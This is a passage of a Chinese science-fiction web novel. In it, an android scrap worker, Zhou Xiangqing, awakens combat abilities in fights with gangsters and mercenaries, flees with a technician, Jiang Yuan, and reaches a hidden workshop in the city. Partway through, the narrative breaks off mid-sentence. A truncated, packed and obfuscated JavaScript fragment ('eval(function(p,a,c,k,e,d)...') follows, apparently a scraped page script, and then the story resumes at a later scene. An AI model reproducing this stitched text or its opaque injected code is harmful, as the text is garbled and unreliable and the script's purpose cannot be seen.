机械爪像蛇一样游向茶几,抓起桌上那个藏青色的方盒,送回他面前。那人把方盒塞进大衣,准备从来路离去,但他还是回过头看了看周向青,又望向地上的帽子,似乎在犹豫什么。他的注意力都被周向青和帽子吸引了。最后他像是想通了什么一样,离开窗边,走到茶几前面,伸手去捡那顶帽子。 与此同时,一道细细的红光从沙发后亮起。 然后,是一声枪响。 7. 启程07 铛。 金属碰撞的声音。 从侧面伸出一只手,抓住了子弹。 周向青不知何时已从沙发上站起,左腿绷直,右脚踏过半个茶几,恰好伸手接住射向不速之客胸前的那一发子弹。 沙发后,云景龙的部下左眼冒着红光,像活死人一样不自然地歪歪扭扭站起身,举枪向周向青瞄准。另一个眼冒红光的部下也同样挣扎着,一面把手伸进怀中。 但周向青已经高高跃起,一个前空翻掠过屋顶,脚尖借力,身体像游隼一样俯冲而下,乌黑油亮的大辫子就像收起的羽翼,紧贴在她背上。 枪口追踪着她的运动轨迹连续喷出火焰,但全都慢了半拍。她左臂上的皮肤错开一条细缝,高速震动的粒子流划出一个蓝色的光圈。 将对方的脖颈平滑切开的同时,她的辫子像鸟尾般轻轻一甩,身子回旋落地。另一人刚刚掏出手枪,她右手拇指一弹,将她手心里那枚变形的子弹不偏不倚射进他的脑门。 鲜血四溅。 “天。我就说嘛,如此优秀的品……” 不速之客还没感慨完,周向青已经像一支箭般射到他的面前,一拳打进他的腹部,另一手去抄地上的帽子。不速之客抱着肚子后退几步,靠上窗台,但机械爪还是比周向青快了一步,抢先把那顶红色帽子扣在手里。 走廊上传来一阵杂乱的脚步声。周向青一手牢牢抓着那人大衣衣领,但脑袋却像感知到危险的猎豹似的,回头望向门口。 “差点……忘了那帮家伙。”不速之客佝偻着身子,从口袋里掏出一个遥控器,在厢厅大门被一脚踢开的同时,按下按钮。 还站在厢厅门口的“服务员”背后的衣服高高鼓起,猛烈喷发出一股气浪。准备冲进厢厅的黑衣人全被这股气浪击退,退过走廊,撞碎栏杆,在惨叫声中坠落下去。 趁周向青分神的机会,那不速之客已抽出自己的衣领,向她摆了摆手,侧身翻出窗外。机械爪扳着窗台连续几荡,便将他送入鼎新楼隔壁的小巷之中。 周向青从被气浪炸得粉碎的厢厅正门冲出,凌空跃下。她的足尖在着栏杆扶手上接连借力,最后一跃掠过向外逃窜的食客人群,一个回旋落在鼎新楼外,毫无迟滞地奔向小巷。 而那不速之客正在小巷内破口大骂。 “谁把这破三轮堵我车前面的?” 周向青向他猛扑过去,去抢夺他手里的帽子。 两只机械爪抓住周向青的手腕,把她往后一推。不速之客回过身来,对周向青笑道:“你打算重新考虑我的报价了吗?” 而作为回答似的,周向青的手腕处亮起两道蓝光。蓝光轻轻一转,机械爪的连接臂被硬生生切断,伴着电流和火花,散发出一股绝缘层的焦糊味。周向青双臂一振,把仍然抓在她手腕上的机械爪甩在一旁,再次向对方扑去。 那不速之客大骇之下不及避让,在慌乱中,他将那红色的帽子对着周向青脑门一扣,同时把自己的脖子和脑袋尽可能伸向远处。 ### 一团白色的影子在前面晃来晃去。 喂,喂,那影子喊道。你听得见吗?ASEO! 听见了,却不明白那是什么意思。黑色的背景不断旋转,连同那一抹白色一起摇摆,变成灰色的圆盘。 脚下的地面也同样旋转着,就像踩着一个神奇的滚筒不断前进。 喂,听得见吗?那影子喊道。ASEO!ASEO! 听得见,但仍不明白那是什么意思。 全部系统紧急超驰!你听不见吗?请你不要再靠近了!那影子发出哭音,蜷缩起来,变成一个白色的圆球。 听得见,但仍不明白那是什么意思。 必须……恢复正常。 白色的圆球突然裂开了。喷溅出的鲜红蜿蜒着,淌成一条不断扩大的螺纹,给这旋转的灰色底板染上一点亮丽的色彩。 世界安静了。但旋转的感觉也开始一同慢慢褪去,黑色、白色、红色越转越慢,开始稳定形成连续的色块。然后其它的颜色也逐渐清晰起来。 啊,那是…… ### “喂,喂!听得见吗?” 在周向青睁开眼睛的一瞬间,那些影子和陌生的画面便瞬间消失了。她挣扎着爬起身,晃了晃自己的脑袋。这时她才注意到,自己躺在一辆小车的后座上。车窗外已经看不到城市,车子正沿着道路向远方颠簸行驶。她伸手去摸自己的帽子,帽子好端端地戴在她头上。 “醒啦。”前排的驾驶席传来了一个似曾相识的声音。 周向青看到后视镜中的那张脸,恍然道:“你是昨天那个……谁来着?” “姜原。” “对,姜原。但……我怎么在你车里?”周向青突然警觉起来。 “所以你不记得了?” 周向青眯起眼睛。她和老杨开车去鼎新楼。然后云景龙跟他们谈话。然后云景龙认为他们隐瞒了什么。然后老杨死了。然后她…… “啊。”周向青愣住了。那种冰冷的感觉又顺着她的四肢爬了上来。 “别回忆那些细节,深呼吸。只要深呼吸就好。”姜原从后视镜里看着她。 周向青用力呼吸了几次,又说:“所以我——” ——所以我杀了人。 但她这句话始终没有说出口。那种冰冷的感觉又从她的喉咙中翻涌上来,冲得她眼前一黑。周向青急忙深深吸了一口气,含在口里,用力眨着眼睛。 “所以你——还是挺有效率的。”姜原道。 周向青没有理他,她的全部注意力都在控制那冰冷的感觉上。 “看远处。然后想一点让你开心的事情。哪怕只是在心里默念也好。”姜原看着后视镜说道。 周向青转过头,凝视车窗外的景色。就像她目前正在自己的小房车里,坐在椅子上,看着窗外,慢慢抚摸胖球的羽毛。 吸气。呼气。看着窗外。抚摸不存在于她腿上的胖球的羽毛。 那股冰冷的感觉渐渐从她的手脚上退去。 她不由得说:“我想胖球了。” “谁?” “胖球。我的八哥。” “你——的八哥。”姜原把“你”字念得很重。 周向青沉默了一会儿。“其实,我也不知道它是不是我的八哥。我也不知道它是哪里来的。我只是喂它而已。我也不知道为什么我会喂它。” 她不知道自己为什么会把这些事说出来。她以前从没对任何人说过。 “那就可以算是你的八哥了。”姜原答道。“所以你想回去找它?” “是。”周向青坦率地承认。 “但那位杜老板的人有可能在那里等你。或许云景龙也在,如果他恢复比较快的话。你在那里还有别人吗?” 周向青愣了一下。她想到了一种可能出现的场面。“如果那时候你不动手抢人家的东西——” “那可算不上是‘人家’的东西。云景龙也没真打算把那一箱宝贝给你吧?所以,我没拿他什么东西。那一大箱子好货,我都留桌上没动。顺带一提,我的报价仍然有效。” “但如果那时候你没冲进来——” “如果我那时候没冲进来,我就会错过一个机会。而且,我不觉得云景龙会轻易放过你。而且,结合你之前‘高效’的表现,我也不觉得你真的就能和这事情撇开关系。我的‘服务员’跟你一比,性能可差得太多了。如果云景龙的注意力不在你们身上,他绝对早看出来了。” 周向青沉下脸。无论是这个话题,还是姜原的说话节奏,都让她很不习惯。 “何况,他们已经去过你那里了。”姜原补充道。 周向青猛然想起云景龙揭开盖布时,老杨那恐惧的表情。她不由叫道:“那我们更得回去了!如果胖球……还有工长他们……” 小车吱地一声,停住了。 姜原叹了口气。“好吧。反正我也想知道你到底是怎么回事。路怎么走?” “我……我不知道。”周向青呆住了。她不知道自己从哪来,甚至不知道从何想起。她身子向后一倒,垮在座位上。她只觉得头晕。 “那我们换个思路。你怎么来城里的?” “我是坐季老鬼的大货车……啊!”周向青突然想起了季老鬼的小三轮。不过老杨已经没了,她也不可能再回城里去。她不知道自己还有没有机会把那辆车的事告诉季老鬼。“大概是没办法了。”她说。 “什么没办法了?”姜原一头雾水。 “我们借季老鬼的小三轮车,老杨……他把它停在鼎新楼旁边的小巷子里。季老鬼叫我们还回去,但估计是没办法了。” “哦,那个三轮。大概的确没办法了。但别管那个,咱们先想怎么回去。你来城里这一路上,走了多久,有没有看到什么标志性的东西?” 姜原并不想告诉周向青,因为那辆小三轮挡在巷口,他的车开不出去,他用震撼弹炸坏了手刹才把它推出去跑路。然后小三轮就被闻声赶来的杜兴田手下射了个稀巴烂。 “我在路上看到了一排很高很大的柱子,上面有绿色的叶片,还会动。别的就没什么了。大概开车开了四个小时?”周向青回忆道。这是她一路上印象最深的东西。 姜原看了看地图,很快找到了那排柱子——绿培柱——的位置。绿培柱旁边只有一条大路,而比较符合距离描述的大概是6号坑。至于哪一段就不知道了,反正绕一圈总能找到。 姜原在6号坑周围绕了两圈。 杜兴田的人没有来。 或者说,还没有来。 或者说,还没有再来。 虽然不知是什么原因,但既然到现在也没有出现,那大概他们是不会出现了。 但6号坑周围的情况已经跟平时的情况大不相同。周向青认出了熟悉的坡道,但她没认出这个她住了很久的地方。平时停在这里的拖车和铁皮小屋都已经不见,更遑论做饭时升起的袅袅炊烟,以及人们下班后喝酒笑闹的声音。丢下的杂物和垃圾与周围的环境融为一体,就像从来没有任何人在这里生活过一样。 如果不是周向青自己的小房车还留在原地,她绝对不会相信,这是她之前居住的地方。 “他们都走了。”周向青怅然道。 傻宝兄弟、工长、其它人,都走了。季老鬼大概也不会再回来了。 “走了也好。能走说明还活着。”姜原环视四周,续道:“至少他们没把你的房车也拖走。你真的就一个人住在这里吗?天,跟我的想象实在很有差距。” 空中传来一声鸟鸣。一个黑色的影子滑翔而下,停在周向青的手指上。 “胖球!”周向青开心地捋着它的脖颈。八哥鼓起身子,发出一连串跟闹铃一样的尖锐鸣叫。“是呀,我回来了。”周向青说。 “你们就享受重聚的时光吧。我去找个大路上看不到的位置停车。”姜原回到车里,顺着一条坡道开了上去。 周向青摸了摸胖球的羽毛,挥手让它重新飞出去。胖球拍拍翅膀,在空中绕了一个圈,落到了周向青房车的车顶上。 房车车门仍然关得紧紧的。或许工长和其他人相信她还会回来,所以并没有把她的东西一并带走。她的小电车还靠在雨棚的下面,而昨天她从季老鬼那里收到的包裹正放在电车的后座上,只磕坏了一个角。 周向青想起了老杨的那三个强壮的儿子。 云景龙能把另外二十四片存储器拿到手,大概不会只打个招呼那么简单。 只不过,现在那三十二片存储器却已落到另一个人的手上。 世事难料。 周向青捡起自己的包裹,掏出钥匙打开房车门,开灯,走到冰箱前,抽出一根能量棒含在口中,在桌边拆开包裹,打开一个个小塑料袋,把里面的东西倒进碗里拌了拌,然后又倒了一杯清水,推开窗户。 胖球这回直接飞了进来,它站在桌上,先 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周向青关了灯。房间一下子暗了不少。胖球叫了一声,似乎是吃饱了。它蹦到窗边,脑袋转来转去,在看外面的情况。 “你倒是挺谨慎的。”周向青对胖球说。 “哈!还差得远。说起来,今天如果你没接下那枚子弹,我大概已经挂啦。我还得谢谢你呢。”姜原在外面自作多情地回答。 “那……很难说是我吧。”周向青不想说自己是在跟八哥说话,只好接下了姜原的话题。 “嗯,对,但那也并非就是另一个人。这和人格无关。这里能用‘人格’这个词吗?不知道。但这也是让我感兴趣的地方。因为一个人的人格,和‘行为逻辑的总集’仍旧有不尽相同之处。或者说,是不同层次的东西。我的意思是,可能只是一些事件引发了非预设的什么连锁反应,启动了预置的‘功能’而已吧,就像自动化大崩溃一样。” “功能吗?可我并不……” “当然,你的情况很可能不是这样。你可是那一位的手笔,上个世代的所谓‘技术’,怎能与他相提并论!虽然我也试着搞点自己的系统,但我现在的水平甚至还不如上个世代呢。不过,你真的不记得他的事吗?什么都不记得?” 周向青没说话,默默又抽了一根能量棒含在嘴里。 她当然知道自己和其它人并不完全一样。她之前只是不去想这一点而已。 毕竟除开最近的变故,她平时跟其它人也没有那么多的交集。每天做的事情也只是拆解垃圾,然后回来打理自己的小小生活而已。她伸手想摸一摸胖球的脊背,但胖球颇不知趣地跳开,飞去钻进房车顶上的罐子里。那是周向青给它做的窝,里面垫着些破布片。它准备回巢睡觉了。 除了胖球之外,她认识的人就只有这个坑边的人。工长,傻宝兄弟,季老鬼。而这里的人绝不可能是姜原提到的那个什么“他”。 姜原看周向青久久不答,便又说:“总之,这个问题你也别想太多了。” “好吧。但你们都认为我跟那个什么人有关系,就凭这顶帽子吗?这帽子就有那么特殊?” “嗯——如果是上个时代的话,这帽子可能不算特殊。但现在有很多这样的帽子吗?也并没有。所以它还是算一个证据。” 的确。周向青记得,云景龙在拿到她的帽子之后,也确认了一下那顶帽子内衬的情况。 “不过,我也不会只因为一顶帽子就把事情说那么死。实际上,杜兴田,还有我的上面,而且应该不止我们,都在前几天收到了这帽子原主人发送的消息。‘准备收货’,就这样。他这三年来都没有任何联系,所以各方面都很重视。然后线报说,杜兴田准备跟人做笔交易,还派人去找了季老鬼。而我当时离这里最近,所以接到命令就立即赶来了,也赶上了。” 原来如此。 “但只有这两条其实还不够。”姜原说到这里,考虑了一下措辞,继续道:“因为我本来就很熟悉你这个型号……所以我一看到你,再一握手,就确认了。” 型号。 周向青心里有一丝不快。不过在那家饮品店里,姜原的确突然去抓了她的手。“握手?握手能确认什么?” “你们的表皮是非牛顿材料。用力轻就很软,用力大反而就硬。你可以自己试试。” 周向青轻轻戳了戳自己的脸,软软的。然后她用力戳了一下自己的手臂,结果还真的变硬了。奇怪。她以前从没注意过这个。 “而且,你一举一动的感觉都很自然,像是活……反正,超越了院里的技术。我们现在还没办法完全恢复人工智能的人格,不是这里就是那里有问题。我的证据就是这些。云景龙根据什么判断我不知道,大概是杜兴田跟他说了什么。听云景龙的话,杜兴田大概跟他有私交,所以判断方法也不同吧。” “听云景龙说?你怎么听到的?” “忘了我的‘服务员’了?窃听器和摄像头就在那些点心里。” “好吧。你说的这个人,他叫什么名字?”周向青问。姜原、胡小姐、云景龙都认为她和“他”有关系,这让她有些好奇。 “我不知道他真正的名字。院里叫他‘弗莱’,但只是个代号。他是个单干的数据猎人,专门寻找上个时代留下的信息,所以跟各方面都有合作。他在业内名誉很好,基本没有他找不到的东西。” 周向青对这个名字没有任何印象。“这么说,他很重要?” “哈。这个问题不好回答。他找得到东西,所以是重要的。但客户只是想要信息,不是他这个人,所以也不重要。他失踪以后,一些客户没了最好的合作伙伴,而另一批人想找到他私藏的数据发一笔财——每个猎人都有自己的宝贝。而我的话——” 姜原突然掐断了话头。 因为大路上有两辆车不断减速,最后停在路边,关掉了明晃晃的远光灯。 紧接着,几个人影从车内散出,近光灯也随之关闭了。 8. 启程08 姜原低声道。“出来,我们绕路走。” 周向青伸手敲了敲胖球的罐子。胖球探出脑袋看了一眼,又缩了回去。天色已经黑了,它并不想离开鸟窝。周向青只好伸手进去,捉住胖球揣进怀里。好在它乖乖的,也没有叫。她打开另一侧的车窗,爬了出去。 姜原正在房车后面等她。 “你的车停在哪?”周向青问。 “车就在那一道坡后头。从下面刚好看不到。”姜原指了指前方。 周向青无奈。“那是死路,你停那里干嘛?”她探头向大路那边望了望。大路上的车辆旁似乎有两个人影,而另外六人已经散开队形,带着武器摸了过来。看他们的速度,很快就会走到这里。 “有六个人快过来了。”周向青急道。 姜原反问:“这么黑你看得到?他们都在哪里?” “看得到。两个人在车旁边。”周向青又伸头看了一眼。“又有两个人向另一侧的高坡上去了。有四个人是直接过来的。” 姜原哼了一声。“不像是杜兴田的风格。看来是另一边的人。” 姜原说完就要走,但周向青一把拉住了他的胳膊。“另一边是什么?他们要干嘛?现在我怎么办?”她一连串问了三个问题。 “一点拿钱办事的人而已。也是冲着存储器来的。怎么办,打个突围呗,今天不是体验过一次了?” “你不能把那些存储器直接给他们吗?” 姜原笑了笑。“要是凡事都能这么干脆就好啦。”他跑了开去,身影渐渐消失在斜坡后。 周向青蹲在原地,不知如何是好。 对方是冲着存储器来的。 这句话让她想到了老杨。 说不定,她马上就会像老杨那样,被拖进一个大箱子里,永远消失。 她绝对不要那样。 她一定要活下来。 但对方正在一步一步走向她所在的位置。难道她应该追着姜原跑过去吗?但那边除了姜原的小车以外什么都没有。如果姜原就此开着那辆车直接冲出去的话,对方一定会对着那辆车射击——仍然是死路一条。 或许姜原独自开着车冲出去,而她躲在这里,才能给她争取到一个不被发现而活下来的机会。但姜原刚才的话绝对不是这个意思。 怎……怎么办? 那种冰冷的感觉如上午一般,从她的指尖向她的心脏蔓延。如果在上午的绝境中,她的身体能够自己开启那所谓的“功能”的话,她希望现在能够拥有上午的速度和力量。 但……那种“功能”,要怎么才算是开启?而且如果要开启的话,她并不想让事情变成今天上午那个样子。 她只要能跑掉就好。 周向青试着握了握拳,原地起跳,但似乎和平时没有多少区别。 但就在她磨磨蹭蹭的时候,那些人正一步一步向她走来。 她不能再拖了。不能再拖了。周向青闭上眼睛,尽量不去回想那些鲜血飞溅的场面,把注意力放在她上午沿着楼梯扶手腾跃而下的记忆上。 就那样跳起来就好。只是那样跳起来就好。 她在心里默念。 无声的语言挠得她心里痒痒的,像是有什么东西在嗡嗡转动。她感觉到那嗡嗡声连带着她的腰筋、腿肌、跟腱、脚尖一同收缩压迫成一个旋转的球体,然后猛地伸开拉成一条直线。 嗵。 她的身子轻而易举地弹射到空中。 周向青看着远去的地面,不由发出一声又惊又喜的轻呼。 前排的四个人同时抬起戴着夜视仪的头,惊讶地看着空中的周向青。他们没想到会有这一出,竟忘了在她身子下坠时趁机开火。 周向青轻巧地在空中打了个转,落回地面。或许在鼎新楼的经历就像是打开了她体内的什么开关,就像姜原说的,启动了什么“功能”。 此时,她背后的山坡上亮起两道光柱。那大概是姜原小车的远光灯。小车开上斜坡,车头垂下来,那两道光柱恰好指向周向青房车前方的空地。 负责进攻的四个人一瞬都暴露在灯光下。 与此同时,空中突然响起大喇叭的播报声。“安提赛佣兵,立即停止你们的行动!安提赛佣兵,立即停止你们的行动!你们已经被包围了!如果还要命的话,立即停止行动!” 周向青听得出,那是姜原的声音。 远方的高坡上的人开火了。对方发射的子弹命中了空中的无人机。无人机冒出一股蓝色的火花,像折断了翅膀的鸟一样,直直落在地面上的四人面前。 四人像得到信号一样同时行动,向周向青的房车展开强攻。但无人机上携带的震撼弹在他们之中炸响。 只不过,对方的装备起到了防护作用,强光、巨响、冲击波也只是延缓了他们的进攻速度。他们立即采取了应对措施,两人向周向青的房车压制射击,两人从侧面展开包抄。 高坡上的狙击班组把目标转向姜原的小车,继续开火。两盏车灯瞬间就被打灭,而车身也跟着熊熊燃烧起来。 房车前的区域重新陷入黑暗。负责压制射击的两个佣兵已经冲到房车门前,一人踢开车门,另一人掩护着瞄准车内。 姜原绝对不会是这样敌人的敌手。 那么现在就是逃跑的最后机会。 一定要跑快一点。一定要跑快一点。一定要跑快一点! 周向青闭上眼睛,默念着,埋头向外冲去。 她恰巧一头撞上负责包抄的佣兵。那佣兵还没来得及反应,就已被周向青顶得飞了出去。 车内的佣兵一惊,他举起步枪,但又害怕误伤队友。 就在佣兵这一瞬间的犹豫中,周向青已经冲出了几十米远。 耳畔的风呼呼作响。周向青只是跑着。她不知道自己该去哪里。她不敢去大路上,只能向以前回收废品的旧工段奔去。这段上班的路程在夜间显得有些陌生,每一条沟,每一道坎都跟白天不同。她在从未感受过的高速下跌跌撞撞地奔跑着,心里只祈求对方不要发现自己。 而对方高地上的狙击班组已经发现了她。她的身前身后不断发出嗤嗤的破空声和噼噼啪啪的落地声,然后才是哒哒的枪声。 铛。一发子弹击中了她的大腿。但弹头并没有穿透她的皮肤,只是打出一个小小的凹陷,随即弹了开去。她踉跄了几步,但在更多子弹射来之前,她已一头扎进旧工段的废坑内,像小猫一样蜷缩起来,脱离了机枪的锁定。 房车处的战斗仍在继续。 两名佣兵进入房车搜索,另外两人包抄上房车后面的斜坡。坡上的小车残骸仍在燃烧,一个人歪着头坐在驾驶席上,皮肉已被火焰烧得焦黑。而大开的车门边,扔着一个藏青色的盒子。 “阿尔法,目标已经击毙,货物完好。”佣兵汇报道。他左手松开手中的步枪,伸手去捡那个盒子。 另一个佣兵绕到小车后方,想检查一下后备箱。 但坐在驾驶席上的“人”突然动了起来。一只铁手牢牢钳住那佣兵的左腕,猛地一勒。伴着骨头的碎裂声,佣兵发出一声痛苦的惨叫。车后的佣兵连忙抬头去看,却不料后备箱中伸出两只机械爪,分别捉住了他的手腕。 “陷阱,有陷阱!”佣兵惊呼。 但一只手已经抽出他腰带上的手枪,连续两枪,打断了他的双臂。 同时,坐在驾驶席上的机器人从车内钻出,又一钳夹断了那佣兵正要射击的右手,夺过步枪,把他推倒在地上。 房车里的两个佣兵听到坡上的动静,正要夺门而出,但机器人又对着车窗内打出一发震撼弹。如此狭窄的环境,防护装备作用到底有限。两人避无可避,被一同震倒在地。 大路边待命的两个人见战况不利,急忙钻入车中。车灯亮起,车子怒吼着向战场冲去。 狙击班组对着机器人扫射起来,金属身体上迸出一连串的火花,随后便倒了下去。 他死定了。 周向青捂着耳朵。但枪炮的声音仍然不断传进她的脑袋。 他死定了。 他无论如何也不可能活下来。她应该就这样跑掉,趁机离开这个地方。 反正他都死定了不是吗。 但她的脚却没有动。 她的心中那种嗡嗡卷动的声音也越来越强烈,就像是在相应眼前情景的召唤一样。她的身体中有一股莫名的冲动在不断翻腾。在鼎新楼时,她也是同样不自觉地动了起来,拦下了那一发子弹。她不知道自己当时为什么要那么做,但她心中的某个隐蔽的角落在鼓动她,去拥抱眼前的枪声与火光。 她看了看自己的手,很稳定,一点都不颤抖。她的视野还很清晰,她的感觉也很灵敏。她的手,还有脚,并不像当时那样冰冷。 大概就是“功能”的开关已经打开的缘故吧。 胖球大概是被震动、声音和光亮吓到,在她的胸口扑腾起来。周向青伸手入怀,把它掏了出来,放在地上。胖球抬起头,借着微弱的光线,眯着眼打量周向青的脸。 周向青蹲下身子,摘下小红帽,把它轻轻扣在胖球身上。希望黑暗和自己的气味能帮助它镇静。 “你要乖乖的,不乱动哦。” 胖球像是听懂了一样,安静地趴在帽子下面。 “我马上就回来。”周向青轻轻地说。 她从废坑里滑出,贴着地面向前疾掠。风再度擦过她的耳畔,火药的硝烟味给她一种熟悉但又陌生的舒畅感。她的脚步轻盈而又有力,每一次跃进都迅捷而又准确。眼前的景物化为一根根线条,一格格色块,先是向她飞速靠近,然后又被她抛在脑后。 她的视觉愈加敏锐地集中在那些运动和静止的细节上,世界就像是一块布满电子元件的电路板,她的意识也沿着高高低低如城市般的原件下预铺的金属线路不断扩散。这是类似于在车间里拆解回收电子元件的感觉,只不过此时的一举一动都似乎更让她熟悉,且怀念。 她旋转,她跳跃。她手臂在空中划出的弧线优美而矫健。她的辫子就像一条灵活的尾巴,一会高高扬起,一会低低落下,一会快活地甩来甩去。她在别人看得到或看不到的地方起舞。观测手没有看到她,于是被轻轻地夺去了视线。机枪手看到了她,于是被重重地一分为二。 她的快乐渐渐膨胀开来,像旅馆的床垫一样包裹着她。她试着从高地上一跃而下,像鲸鱼一样溅起了鲜红的水花。她从一个洞中掏出自己的猎物,拨弄、追逐,观察它们的表情,欣赏它们的叫喊。然后她厌倦了它们,去捉弄崖壁上一只长着许多脚的东西。那 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“不完全是。虽然在这一票买卖上,我们是冲突的。但安提赛同时也是院里的客户,他们在购买我们的技术支持。”看到周向青惊讶的表情,姜原又耸了耸肩:“总之,利益关系比较复杂。人就是这样。很复杂。” 周向青自己去寻找帽子和胖球。 路过那些尸体的时候,她尽量不去看他们的惨状。她上午的失控还可以说是因为恐惧,但刚才却是她主动造成了这个结局。似乎她的心中隐藏着另一个“她”,而且“她”非常习惯、且享受这一类事情。想到这点,让她不寒而栗。 这真的只是什么“功能”吗? 她下意识地摸了摸大腿刚才被子弹打中的地方。那里的裤子破了一个口,她的手指穿过破洞,可以摸到那个凹陷。姜原刚才说,受力越大,她的身体越硬。难道这个硬,就是为了应付眼前的这种情况吗? 周向青决定不再考虑这个问题。 还好,胖球仍然乖乖地呆在帽子下面,只在她捡起帽子的时候,懒懒地叫了一声。它居然很放松,一心只是想睡。 这帽子该不会真的有什么特殊之处吧?周向青检查了一下帽子的内衬,但里面不像藏了什么能影响脑波的东西。 可能只是她的心理作用。 周向青把胖球藏进怀里,回到姜原身边。 姜原正在检查那些佣兵的车辆。“我的小车彻底没法开啦。而这些家伙的车里绝对装着定位追踪器,我一时半会还找不到在哪。但我们得尽快离开这里。如果增援过来,那麻烦就大了。” 周向青茫然道:“离开这里,去哪?” “我得先回城一趟,补充下物资。你怎么办?要不要跟我一起走?也可以在路上想想接下来的打算。” 周向青不知道。“我想……先回我的小房车看看。” 仍然有一部分的她还在希望工长和其他人还没有走远,她可以追上去,加入他们,回到以往平静且稳定的生活,上班,喂鸟,不断重复;但另一部分的她却在耳边窃窃私语,让她注意自己隐藏的过去,让她嗅闻空气中的硝烟和血腥味,挑逗着她走出自己的一亩池塘,走向开阔的世界。 没错。一个开阔的世界。 周向青的房车门边还留着被粒子刀刃切开的痕迹,像一道巨大的爪痕。那大概是她自己留下的。车身上还布满弹孔,内部也被之前的震撼弹炸得一塌糊涂。她的折叠床,她的工具,她的小冰箱,她的……一切的一切,都变成了一堆陌生的废物。这就是那个开阔的世界入侵她的生活后,留下的东西。 周向青从地上捡起了从保险箱里拆出的电路板。它倒是静静躺在地上,“完好无损”。胖球的饭碗倒扣在它上面。 这就是一切的开始。 看着眼前的电路板,周向青深切地意识到,自己刚才幻想中的平静生活压根不是一个选择。在挖出那个保险柜的时候,平静的生活就已经不再是一种选择了。她只能像是最开始的鲸鱼一样,挣扎出水,一头撞进外面那个她一无所知的世界,不断向前。 “我们去城里吧。”周向青说。 9. 启程09 “你就该接受我的提案的。”姜原抱怨道。 “开我的房车停到城市外围,然后骑小电车进城?想都别想。” “虽然你的确找到了一个定位器,但不代表没有第二个。” “我可是把整辆车都查了一遍。既然没遇到你老念叨的什么伏击,就说明我没看漏。”周向青一锤定音。 几个小时前,周向青用她上班的工具拆掉了佣兵越野车里的定位器,然后收拾了一下要带的东西,和姜原又回到了城里。她在路上给姜原看了那块从保险箱里拆出的电路板。姜原表示,或许可以在城里找一台有解码软件的电脑,查查里面有没有留下什么痕迹。 所以,她对这次的城市之旅还是有点期待。 天色将将发白,正是黎明时分。城里似乎没有什么特殊的动静。路上没有站满严阵以待的黑衣人盘查车辆,墙上也没有贴满通缉海报,路人也没有盯着她们窃窃私语。城市里竟似无事发生。 但或许也是因为这次他们进城的位置和上一次也有所不同。这一侧的城市没有废品回收站、破旧的旅馆和“夜鹭”,而是一排电器机械维修、五金工具建材之类的专店。姜原把越野车停在城市下层的公共停车场角落,藏在几辆大货车后。在拿出所有东西之后,切断了电源总线。 “如果他们真能找过来,那也得找一阵子。” 他们沿楼梯上到城区。姜原并不去那些人来人往的正规店铺,而是一直朝巷子里面钻。走过几个弯弯绕绕,他找到一扇紧闭着的红色小门,在上面敲了敲。上方的监控摄像头盯着他们看了一会,门开了。 里面是一条细长但不通往任何地方的走廊。他们右手边是一堵厚重的砖墙,左手边是装着铁栅栏的小柜台,以及一面巨大的卷帘门。 “这是哪位?”坐在铁栅栏后的老头子低下头,从花镜上方打量周向青。 周向青看到,老人的面前摆着一本杂志。他刚才似乎正在做里面的心理测试题。 “我试做的新机型,渗透用的。怎么,你没看出来?”姜原笑道。 老头哼了一声。“怎么可能。任何机型都逃不过我的检测。” “那你还问?” “这是规矩。”老头不满道。 “老卢头只是硬装而已,他根本看不出来。”姜原对周向青小声说。 老卢头不知是真没听到,还是装作没听到。老人只是伸手按下电钮,不再理睬姜原的说笑。 伴着“嘟——”的一声怪响,右手边的砖墙一下子瓦解了。 字面意义的瓦解。那些看上去坚硬厚实的砖块一瞬间化为无数细小的尘埃,飘散在空气中。 然后在本是砖墙的位置出现了一个类似周向青工作车间的场所。 “这里虽然要价不菲,但知道的也不多,基本都是院里的。所以相对比较安全。”姜原介绍道。 “你常说的这个‘院里’,是什么意思?”周向青问。 “就是‘学院里’的简称。” “学院?什么学院?” “学院就是‘学院’,没有‘什么学院’。” “就只叫‘学院’两个字而已吗?” “对。就只叫这两个字而已。”姜原答道。他并没多做解释,而是放下手中的行李,打开了墙边有显示屏的一个什么设备。周向青看了一眼,猜到那大概就是用来自助采购的终端机。 她留姜原去干他的事情,自己把胖球掏了出来,让它呼吸下新鲜空气。胖球在这陌生的环境里有些害怕,它牢牢抓紧周向青的手指,两眼警惕地环顾四周。这里的工具还挺齐全,钳工台、多功能车床、装配台等等,也一并收拾得干净整洁。可见管理这里的人一定很有责任心。 周向青找了个地方坐下,摸了一点鸟粮喂胖球。但胖球还是有些紧张,并不想吃东西。周向青想找个小盒子,喂它一点水,但此时有人从侧面的楼梯上走了下来。 “周向青?”那是一个女人惊讶的声音。 周向青回过身去。楼梯上站着的人,偏巧是前天见到的胡筱秋,胡小姐。今天她穿一身灰黑色的赛车手套装,肩膀显宽,很有魄力。 “你怎么在这里?”胡筱秋疾步从楼梯上走下,来到周向青面前。胖球吓了一跳,连滚带爬地钻进周向青的衣服,只露出一个尾巴。 “你知不知道现在是什么情况?”胡筱秋又问。 周向青摇了摇头。 “现在所有人都在讨论这件事,流言飞语到处都是。云景龙已经气疯了,扬言要抓住你们大卸八块。虽然杜老板还没有……”胡筱秋此时看到了角落里的姜原,也是一愣。“你怎么也在这里?” “你们认识?”周向青问。她想起了前天晚上胡小姐对姜原的评价。他们大概是的确认识。 “我们认……哦!你死定了,这下你真的死定了。”胡筱秋指着姜原骂道。她气得跺了一脚,原地转了个圈,又骂:“你好死不死的,干嘛要干这档事?” 姜原没回答。 “那天我看见你的时候,就该下去把你掐死。”胡筱秋又骂。“能干得出这种事,说明你还在帮那群老家伙干活吧?嗯?” “是。” “真亏你做得出来,你就没想过,那玩意在杜老板手里,比在那群老头手里好得多?”胡筱秋质问。 “我也有我的立场。”姜原道。 “哼。你的立场。东西呢?拿来!”胡筱秋伸出一只手。 “不能给你。” 周向青看了看杏眼圆睁的胡筱秋,又看了看姜原。很好,她现在是一头雾水了。她问道:“你们……究竟是什么关系?” “同学关系,她是我的学姐。”姜原道。“后来她毕业了。而我——” “只有最没出息的人,才会一直留在学院,干老家伙们给的脏活。”胡筱秋冷冷打断了姜原的话。 姜原没有反对。 